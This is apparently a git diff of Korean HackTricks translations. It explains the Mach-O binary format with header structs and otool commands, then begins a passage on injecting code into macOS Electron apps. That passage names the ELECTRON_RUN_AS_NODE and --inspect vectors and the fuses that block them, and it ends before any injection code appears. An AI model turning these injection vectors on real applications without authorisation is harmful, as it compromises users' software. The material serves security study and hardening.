다음 명령을 사용하여 파일을 검색합니다. `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
다음 명령어로 파일을 검색합니다: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
<pre class="language-c"><code class="lang-c"><strong>#define FAT_MAGIC 0xcafebabe
|
||||
</strong><strong>#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */
|
||||
|
@ -47,9 +47,9 @@ uint32_t align; /* alignment as a power of 2 */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
헤더에는 **매직** 바이트가 있으며 파일이 포함하는 **아키텍처의 수**(`nfat_arch`)를 나타내는 **매직** 바이트가 뒤따릅니다. 각 아키텍처는 `fat_arch` 구조체를 가지게 됩니다.
|
||||
헤더에는 **매직** 바이트가 있고 파일이 포함하는 **아키텍처의 수**(`nfat_arch`)를 나타내는 **숫자**가 뒤따르며 각 아키텍처는 `fat_arch` 구조체를 가집니다.
|
||||
|
||||
다음 명령을 사용하여 확인합니다.
|
||||
다음 명령어로 확인할 수 있습니다:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
|
||||
|
@ -76,15 +76,15 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
</strong> align 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
또는 [Mach-O View](https://sourceforge.net/projects/machoview/) 도구를 사용할 수 있습니다.
|
||||
또는 [Mach-O View](https://sourceforge.net/projects/machoview/) 도구를 사용하여 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
일반적으로 2개의 아키텍처를 지원하는 유니버설 바이너리는 1개의 아키텍처를 지원하는 바이너리의 **크기를 두 배로 증가**시킵니다.
|
||||
일반적으로 2개의 아키텍처를 위해 컴파일된 universal binary는 1개의 아키텍처를 위해 컴파일된 것의 **크기를 두 배로** 증가시킵니다.
|
||||
|
||||
## **Mach-O Header**
|
||||
|
||||
헤더에는 파일에 대한 기본 정보가 포함되어 있습니다. Mach-O 파일로 식별하기 위한 매직 바이트 및 대상 아키텍처에 대한 정보가 포함됩니다. 다음 명령을 사용하여 확인할 수 있습니다. `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
헤더에는 Mach-O 파일로 식별하기 위한 매직 바이트와 대상 아키텍처에 대한 정보와 같은 파일에 대한 기본 정보가 포함됩니다. 다음 위치에서 찾을 수 있습니다: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -114,7 +114,7 @@ uint32_t reserved; /* reserved */
|
|||
**파일 유형**:
|
||||
|
||||
* MH\_EXECUTE (0x2): 표준 Mach-O 실행 파일
|
||||
* MH\_DYLIB (0x6): Mach-O 동적 링크 라이브러리 (즉, .dylib)
|
||||
* MH\_DYLIB (0x6): Mach-O 동적 연결 라이브러리 (즉, .dylib)
|
||||
* MH\_BUNDLE (0x8): Mach-O 번들 (즉, .bundle)
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
|
@ -123,49 +123,49 @@ Mach header
|
|||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE
|
||||
```
|
||||
또는 [Mach-O View](https://sourceforge.net/projects/machoview/)를 사용할 수도 있습니다:
|
||||
또는 [Mach-O View](https://sourceforge.net/projects/machoview/)를 사용할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Mach-O 로드 명령어**
|
||||
## **Mach-O 로드 명령**
|
||||
|
||||
여기에서는 **메모리에 파일의 레이아웃**이 지정되며, **심볼 테이블의 위치**, 실행 시작 시 주 스레드의 컨텍스트 및 필요한 **공유 라이브러리**에 대한 정보가 제공됩니다. 이는 이진 파일이 메모리로 로드되는 과정에서 동적 로더 **(dyld)**에 대한 지시사항을 제공합니다.
|
||||
**메모리에 파일의 레이아웃**이 여기에 지정되어 있으며, **심볼 테이블의 위치**, 실행 시작 시 주 스레드의 컨텍스트 및 필요한 **공유 라이브러리**에 대한 세부 정보가 제공됩니다. 이는 메모리로의 이진 파일 로딩 과정에 대한 동적 로더 **(dyld)**에게 지침을 제공합니다.
|
||||
|
||||
이는 언급된 **`loader.h`**에 정의된 **load\_command** 구조체를 사용합니다.
|
||||
이는 **`loader.h`**에 정의된 **load\_command** 구조를 사용합니다:
|
||||
```objectivec
|
||||
struct load_command {
|
||||
uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
약 **50가지 다른 유형의 로드 명령**이 있으며 시스템은 이를 다르게 처리합니다. 가장 일반적인 것들은 `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, 그리고 `LC_CODE_SIGNATURE`입니다.
|
||||
시스템이 다르게 처리하는 **약 50가지의 로드 명령어 유형**이 있습니다. 가장 일반적인 것들은: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, 그리고 `LC_CODE_SIGNATURE`입니다.
|
||||
|
||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
기본적으로 이 유형의 로드 명령은 이진 파일이 실행될 때 데이터 섹션에 표시된 오프셋에 따라 **\_\_TEXT** (실행 코드)와 **\_\_DATA** (프로세스용 데이터) 세그먼트를 **로드하는 방법을 정의**합니다.
|
||||
기본적으로, 이 유형의 로드 명령어는 **바이너리가 실행될 때 데이터 섹션에 표시된 오프셋에 따라 \_\_TEXT** (실행 코드) **및 \_\_DATA** (프로세스용 데이터) **세그먼트를 로드하는 방법을 정의**합니다.
|
||||
{% endhint %}
|
||||
|
||||
이 명령은 프로세스가 실행될 때 **가상 메모리 공간에 매핑되는 세그먼트**를 정의합니다.
|
||||
이러한 명령어는 프로세스가 실행될 때 **가상 메모리 공간에 매핑되는 세그먼트를 정의**합니다.
|
||||
|
||||
**\_\_TEXT** 세그먼트는 프로그램의 실행 코드를 보유하고, **\_\_DATA** 세그먼트는 프로세스에서 사용되는 데이터를 포함합니다. 이러한 **세그먼트는 Mach-O 파일의 데이터 섹션에 위치**합니다.
|
||||
|
||||
**각 세그먼트**는 더 작은 **섹션**으로 **분할**될 수 있습니다. 로드 명령 구조에는 해당 세그먼트 내의 **이러한 섹션에 대한 정보**가 포함되어 있습니다.
|
||||
**각 세그먼트**는 더 세부적으로 **여러 섹션으로 나뉠** 수 있습니다. **로드 명령어 구조**에는 **해당 세그먼트 내의 섹션에 대한 정보**가 포함되어 있습니다.
|
||||
|
||||
헤더에서 먼저 **세그먼트 헤더**를 찾을 수 있습니다:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64비트 아키텍처용 */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* includes sizeof section_64 structs */
|
||||
char segname[16]; /* segment name */
|
||||
uint64_t vmaddr; /* memory address of this segment */
|
||||
uint64_t vmsize; /* memory size of this segment */
|
||||
uint64_t fileoff; /* file offset of this segment */
|
||||
uint64_t filesize; /* amount to map from the file */
|
||||
int32_t maxprot; /* maximum VM protection */
|
||||
int32_t initprot; /* initial VM protection */
|
||||
<strong> uint32_t nsects; /* number of sections in segment */
|
||||
</strong> uint32_t flags; /* flags */
|
||||
uint32_t cmdsize; /* section_64 구조체의 크기 포함 */
|
||||
char segname[16]; /* 세그먼트 이름 */
|
||||
uint64_t vmaddr; /* 이 세그먼트의 메모리 주소 */
|
||||
uint64_t vmsize; /* 이 세그먼트의 메모리 크기 */
|
||||
uint64_t fileoff; /* 이 세그먼트의 파일 오프셋 */
|
||||
uint64_t filesize; /* 파일에서 매핑할 양 */
|
||||
int32_t maxprot; /* 최대 VM 보호 */
|
||||
int32_t initprot; /* 초기 VM 보호 */
|
||||
<strong> uint32_t nsects; /* 세그먼트 내 섹션 수 */
|
||||
</strong> uint32_t flags; /* 플래그 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
|
@ -173,7 +173,7 @@ int32_t initprot; /* initial VM protection */
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 헤더는 **헤더 뒤에 나타나는 섹션 헤더의 수**를 정의합니다:
|
||||
이 헤더는 **그 뒤에 나타나는 섹션 헤더의 수를 정의**합니다.
|
||||
```c
|
||||
struct section_64 { /* for 64-bit architectures */
|
||||
char sectname[16]; /* name of this section */
|
||||
|
@ -194,48 +194,48 @@ uint32_t reserved3; /* reserved */
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
만약 **섹션 오프셋** (0x37DC)에 **아키텍처 시작 오프셋**을 **더한다면**, 이 경우에는 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
만약 **섹션 오프셋** (0x37DC)에 **아키텍처 시작 오프셋**을 **더한다면**, 이 경우 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또한 **커맨드 라인**에서 **헤더 정보**를 얻을 수도 있습니다:
|
||||
**커맨드 라인**에서도 **헤더 정보**를 얻는 것이 가능합니다:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
이 명령어에 의해 로드되는 일반적인 세그먼트:
|
||||
다음은이 cmd에 의해로드되는 일반 세그먼트입니다:
|
||||
|
||||
* **`__PAGEZERO`:** 이는 커널에게 **주소 0을 매핑**하여 **읽기, 쓰기, 실행이 불가능**하도록 지시합니다. 구조체의 maxprot 및 minprot 변수는 이 페이지에 **읽기-쓰기-실행 권한이 없음**을 나타내기 위해 0으로 설정됩니다.
|
||||
* 이 할당은 **NULL 포인터 역참조 취약점을 완화**하기 위해 중요합니다.
|
||||
* **`__TEXT`**: **읽기** 및 **실행** 권한을 가진 **실행 가능한 코드**를 포함합니다(쓰기는 불가능). 이 세그먼트의 일반적인 섹션:
|
||||
* `__text`: 컴파일된 이진 코드
|
||||
* `__const`: 상수 데이터
|
||||
* `__cstring`: 문자열 상수
|
||||
* `__stubs` 및 `__stubs_helper`: 동적 라이브러리 로딩 과정에서 사용됨
|
||||
* **`__DATA`**: **읽기** 및 **쓰기** 가능한 데이터를 포함합니다(실행은 불가능).
|
||||
* `__data`: 초기화된 전역 변수
|
||||
* `__bss`: 초기화되지 않은 정적 변수
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist 등): Objective-C 런타임에서 사용되는 정보
|
||||
* **`__LINKEDIT`**: "심볼, 문자열 및 재배치 테이블 항목"과 같은 링커(dyld)를 위한 정보를 포함합니다.
|
||||
* **`__OBJC`**: Objective-C 런타임에서 사용되는 정보를 포함합니다. 이 정보는 \_\_DATA 세그먼트 내의 다양한 \_\_objc\_\* 섹션에서도 찾을 수 있습니다.
|
||||
- **`__PAGEZERO`:** 커널에 **주소 제로를 매핑**하도록 지시하여 **읽을 수 없고 쓸 수 없고 실행할 수 없게**합니다. 구조체의 maxprot 및 minprot 변수는 **이 페이지에 읽기-쓰기-실행 권한이 없음**을 나타내기 위해 0으로 설정됩니다.
|
||||
- 이 할당은 **NULL 포인터 역참조 취약점을 완화**하는 데 중요합니다.
|
||||
- **`__TEXT`**: **읽기** 및 **실행** 권한을 가진 **실행 가능한 코드**를 포함합니다(쓰기 권한 없음)**.** 이 세그먼트의 일반 섹션:
|
||||
- `__text`: 컴파일된 이진 코드
|
||||
- `__const`: 상수 데이터
|
||||
- `__cstring`: 문자열 상수
|
||||
- `__stubs` 및 `__stubs_helper`: 동적 라이브러리 로딩 프로세스 중에 관련됨
|
||||
- **`__DATA`**: **읽기** 및 **쓰기** 가능한 데이터를 포함합니다(실행할 수 없음)**.**
|
||||
- `__data`: 초기화된 전역 변수
|
||||
- `__bss`: 초기화되지 않은 정적 변수
|
||||
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist 등): Objective-C 런타임에서 사용되는 정보
|
||||
- **`__LINKEDIT`**: 링커(dyld)를 위한 정보를 포함하며, "심볼, 문자열 및 재배치 테이블 항목"을 포함합니다.
|
||||
- **`__OBJC`**: Objective-C 런타임에서 사용되는 정보를 포함합니다. 이 정보는 \_\_DATA 세그먼트 내의 다양한 \_\_objc\_\* 섹션에서도 찾을 수 있습니다.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
**entryoff 속성**에 진입점을 포함합니다. 로드 시, **dyld**는 이 값을 (메모리 상의) **바이너리의 기본 주소에 추가**하고, 이 명령어로 이동하여 바이너리 코드의 실행을 시작합니다.
|
||||
**entryoff 속성**에 진입점을 포함합니다. 로드 시, **dyld**는 단순히 **이 값을 (메모리 내) 이진 파일의 베이스에 추가**하고, 그런 다음 **이 명령어로 이동**하여 이진 파일의 코드 실행을 시작합니다.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Macho-O 파일의 **코드 서명에 대한 정보**를 포함합니다. 이는 일반적으로 파일의 맨 끝에 있는 **서명 블롭을 가리키는 오프셋**만을 포함합니다.\
|
||||
그러나 이 섹션에 대한 일부 정보는 [**이 블로그 포스트**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)와 이 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)에서 찾을 수 있습니다.
|
||||
Macho-O 파일의 **코드 서명에 대한 정보**를 포함합니다. 이것은 일반적으로 파일의 매우 끝에 있는 **서명 블롭을 가리키는 오프셋**만을 포함합니다.\
|
||||
그러나 [**이 블로그 게시물**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) 및 이 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)에서이 섹션에 대한 일부 정보를 찾을 수 있습니다.
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
프로세스 주소 공간에 공유 라이브러리를 매핑하는 동적 링커 실행 파일의 **경로**를 포함합니다. **값은 항상 `/usr/lib/dyld`**로 설정됩니다. macOS에서 dylib 매핑은 커널 모드가 아닌 **사용자 모드**에서 발생한다는 점에 유의해야 합니다.
|
||||
프로세스 주소 공간에 공유 라이브러리를 매핑하는 동적 링커 실행 파일의 **경로**를 포함합니다. **값은 항상 `/usr/lib/dyld`**로 설정됩니다. macOS에서 dylib 매핑은 **커널 모드가 아닌 사용자 모드**에서 발생한다는 점을 강조해야 합니다.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
이 로드 명령어는 Mach-O 바이너리가 필요로 하는 **동적 라이브러리 의존성**을 설명하며, **로더**(dyld)에 해당 라이브러리를 **로드하고 링크하도록 지시**합니다.
|
||||
이 로드 명령어는 **로더**(dyld)에게 **해당 라이브러리를 로드하고 링크하도록 지시하는 동적 라이브러리** 종속성을 설명합니다. Mach-O 이진 파일이 필요로 하는 각 라이브러리에 대해 LC\_LOAD\_DYLIB 로드 명령어가 있습니다.
|
||||
|
||||
* 이 로드 명령어는 실제 종속 동적 라이브러리를 설명하는 **`dylib` 구조체**를 포함하는 **`dylib_command`** 유형의 구조체입니다.
|
||||
- 이 로드 명령어는 실제 종속 동적 라이브러리를 설명하는 **struct dylib을 포함하는 dylib_command 유형의 구조체**입니다.
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
|
|||
```
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
|
||||
또한 다음 명령을 사용하여 이 정보를 CLI에서 얻을 수도 있습니다:
|
||||
당신은 또한 다음 명령어를 사용하여 이 정보를 CLI에서 얻을 수 있습니다:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -264,47 +264,47 @@ otool -L /bin/ls
|
|||
|
||||
* **DiskArbitration**: USB 드라이브 모니터링
|
||||
* **AVFoundation:** 오디오 및 비디오 캡처
|
||||
* **CoreWLAN**: Wi-Fi 스캔
|
||||
* **CoreWLAN**: Wifi 스캔
|
||||
|
||||
{% hint style="info" %}
|
||||
Mach-O 바이너리는 하나 이상의 생성자를 포함할 수 있으며, 이는 **LC\_MAIN**에 지정된 주소 **전에 실행**됩니다.\
|
||||
생성자의 오프셋은 **\_\_DATA\_CONST** 세그먼트의 **\_\_mod\_init\_func** 섹션에 저장됩니다.
|
||||
Mach-O 이진 파일에는 **하나 이상의 생성자**가 포함될 수 있으며, 이는 **LC\_MAIN**에서 지정된 주소 **앞에서 실행**됩니다.\
|
||||
어떤 생성자의 오프셋은 **\_\_DATA\_CONST** 세그먼트의 **\_\_mod\_init\_func** 섹션에 저장됩니다.
|
||||
{% endhint %}
|
||||
|
||||
## **Mach-O 데이터**
|
||||
|
||||
파일의 핵심은 데이터 영역으로, 로드 명령 영역에서 정의된 여러 세그먼트로 구성됩니다. 각 세그먼트에는 여러 데이터 섹션이 포함될 수 있으며, 각 섹션은 해당 유형에 특정된 코드 또는 데이터를 보유합니다.
|
||||
파일의 핵심에는 로드 명령 영역에서 정의된 여러 세그먼트로 구성된 데이터 영역이 있습니다. **각 세그먼트 내에는 다양한 데이터 섹션이 포함**될 수 있으며, 각 섹션은 **특정 유형의 코드 또는 데이터**를 보유합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
데이터는 기본적으로 로드 명령 **LC\_SEGMENTS\_64**에 의해 로드되는 모든 **정보**를 포함합니다.
|
||||
데이터는 기본적으로 로드 명령 **LC\_SEGMENTS\_64**에 의해 로드되는 모든 **정보**를 포함하는 부분입니다.
|
||||
{% endhint %}
|
||||
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
이에는 다음이 포함됩니다:
|
||||
|
||||
* **함수 테이블**: 프로그램 함수에 대한 정보를 보유합니다.
|
||||
* **심볼 테이블**: 바이너리에서 사용되는 외부 함수에 대한 정보를 포함합니다.
|
||||
* **함수 테이블:** 프로그램 함수에 대한 정보를 보유
|
||||
* **심볼 테이블**: 이진 파일에서 사용되는 외부 함수에 대한 정보를 포함
|
||||
* 내부 함수, 변수 이름 등도 포함될 수 있습니다.
|
||||
|
||||
[Mach-O View](https://sourceforge.net/projects/machoview/) 도구를 사용하여 확인할 수 있습니다:
|
||||
확인하려면 [**Mach-O View**](https://sourceforge.net/projects/machoview/) 도구를 사용할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
또는 cli에서 확인할 수 있습니다:
|
||||
또는 CLI에서:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에서 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# macOS Electron 애플리케이션 인젝션
|
||||
# macOS Electron Applications Injection
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Electron이 무엇인지 모르는 경우 [**여기에서 많은 정보를 찾을 수 있습니다**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). 하지만 지금은 Electron이 **node**를 실행한다는 것만 알고 계시면 됩니다.\
|
||||
그리고 node에는 지정된 파일 이외의 코드를 실행할 수 있도록 하는 몇 가지 **매개변수**와 **환경 변수**가 있습니다.
|
||||
Electron이 무엇인지 모르는 경우 [**여기에서 많은 정보를 찾을 수 있습니다**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). 하지만 지금은 Electron이 **node**를 실행한다는 것을 알아두세요.\
|
||||
그리고 node에는 **지정된 파일 이외의 코드를 실행**할 수 있도록 사용할 수 있는 **매개변수** 및 **환경 변수**가 있습니다.
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
이러한 기술은 다음에 설명될 것이지만, 최근 Electron은 이러한 기술을 **방지하기 위해 여러 보안 플래그를 추가**했습니다. 이러한 것들은 [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)이며, macOS에서 Electron 앱이 **임의의 코드를 로드하는 것을 방지**하는 데 사용됩니다:
|
||||
이러한 기술은 다음에 설명될 것이지만, 최근 Electron은 이를 **방지하는 여러 보안 플래그**를 추가했습니다. 이러한 것들이 **Electron Fuses**이며, macOS의 Electron 앱에서 **임의의 코드 로딩을 방지**하는 데 사용되는 것들입니다:
|
||||
|
||||
* **`RunAsNode`**: 비활성화되면 env 변수 **`ELECTRON_RUN_AS_NODE`**를 사용하여 코드를 주입하는 것을 방지합니다.
|
||||
* **`RunAsNode`**: 비활성화되면 env var **`ELECTRON_RUN_AS_NODE`** 사용을 방지하여 코드를 주입하는 것을 방지합니다.
|
||||
* **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 존중되지 않습니다. 이를 통해 코드 주입을 방지합니다.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이를 통해 이 파일의 내용을 수정하여 코드 주입을 방지합니다.
|
||||
* **`OnlyLoadAppFromAsar`**: 이 기능이 활성화되면 **`app.asar`**, **`app`**, 마지막으로 **`default_app.asar`**의 순서로 로드를 검색하는 대신 app.asar만 확인하고 사용합니다. 따라서 **`embeddedAsarIntegrityValidation`** 퓨즈와 **결합**되었을 때 유효성이 검증되지 않은 코드를 로드하는 것이 **불가능**합니다.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스는 V8 스냅샷을 위해 `browser_v8_context_snapshot.bin`이라는 파일을 사용합니다.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 코드 주입을 방지합니다.
|
||||
* **`OnlyLoadAppFromAsar`**: 이 기능이 활성화되면 **`app.asar`**, **`app`**, 마지막으로 **`default_app.asar`** 순서로 로드를 검색하는 대신 app.asar만 확인하고 사용합니다. 따라서 **`embeddedAsarIntegrityValidation`** 퓨즈와 결합되었을 때 **검증되지 않은 코드를 로드하는 것이 불가능**하도록 보장합니다.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스가 V8 스냅샷을 위해 `browser_v8_context_snapshot.bin`이라는 파일을 사용합니다.
|
||||
|
||||
코드 주입을 방지하지 않는 다른 흥미로운 퓨즈는 다음과 같습니다:
|
||||
코드 주입을 방지하지 않는 다른 흥미로운 퓨즈:
|
||||
|
||||
* **EnableCookieEncryption**: 활성화되면 디스크에 저장된 쿠키 저장소가 OS 수준의 암호화 키를 사용하여 암호화됩니다.
|
||||
|
||||
### Electron Fuses 확인
|
||||
|
||||
응용 프로그램에서 이러한 플래그를 **확인**할 수 있습니다:
|
||||
응용 프로그램에서 **이러한 플래그를 확인**할 수 있습니다:
|
||||
```bash
|
||||
npx @electron/fuses read --app /Applications/Slack.app
|
||||
|
||||
|
@ -51,45 +51,43 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
|||
```
|
||||
### Electron 퓨즈 수정
|
||||
|
||||
[**문서에서 언급된대로**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron 퓨즈**의 구성은 일반적으로 **Electron 바이너리** 내에 구성되어 있으며, 해당 바이너리에는 어딘가에 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**라는 문자열이 포함되어 있습니다.
|
||||
[**문서에서 언급한 것**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)대로, **Electron 퓨즈**의 구성은 **Electron 이진 파일** 내부에 구성되어 있으며 이 파일에는 어딘가에 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** 문자열이 포함되어 있습니다.
|
||||
|
||||
macOS 애플리케이션에서는 일반적으로 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` 경로에 위치합니다.
|
||||
macOS 애플리케이션에서 이는 일반적으로 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`에 위치합니다.
|
||||
```bash
|
